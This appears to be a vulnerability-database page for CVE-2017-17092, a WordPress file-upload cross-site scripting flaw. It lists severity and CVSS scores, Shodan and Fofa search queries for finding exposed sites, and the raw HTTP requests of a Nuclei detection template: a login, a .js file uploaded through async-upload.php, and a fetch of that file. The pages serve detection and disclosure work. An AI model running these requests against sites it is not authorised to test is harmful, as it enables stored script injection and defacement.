| Title | WordPress < 4.9.1 - Authenticated JavaScript File Upload |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Remote attackers can execute arbitrary JavaScript in the context of the site, leading to potential session hijacking or defacement. |
| Remediation | Update to WordPress 4.9.1 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.03307 |
| CVE ID | CVE-2017-17092 |
| CWE ID | CWE-79 |
| Shodan Query | http.component:"wordpress" |
| Fofa Query | body="oembed" && body="wp-" |
| Tags | cve cve2017 wordpress wpscan xss upload authenticated intrusive file-upload |
WordPress before 4.9.1 contains a cross-site scripting caused by not requiring unfiltered_html capability for uploading .js files in functions.php, letting remote attackers execute scripts via crafted files, exploit requires upload permissions.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=IveCHr&pwd=5lkNHT&wp-submit=Log+In
GET /wp-admin/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/async-upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Connection: close
Content-Length: 584
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx
Accept-Encoding: gzip
------WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx
Content-Disposition: form-data; name="name"
jliEaFKJ.js
------WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx
Content-Disposition: form-data; name="action"
upload-attachment
------WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx
Content-Disposition: form-data; name="_wpnonce"
KhAT77
------WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx
Content-Disposition: form-data; name="async-upload"; filename="jliEaFKJ.js"
Content-Type: application/javascript
//malicious
------WebKitFormBoundary38FfBuJs1IaOik2mxLlScwUQTmx--
GET /wp-content/uploads/AtHLme/cdjqvp/jliEaFKJ.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17092.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-17092.pcap
N/AN/A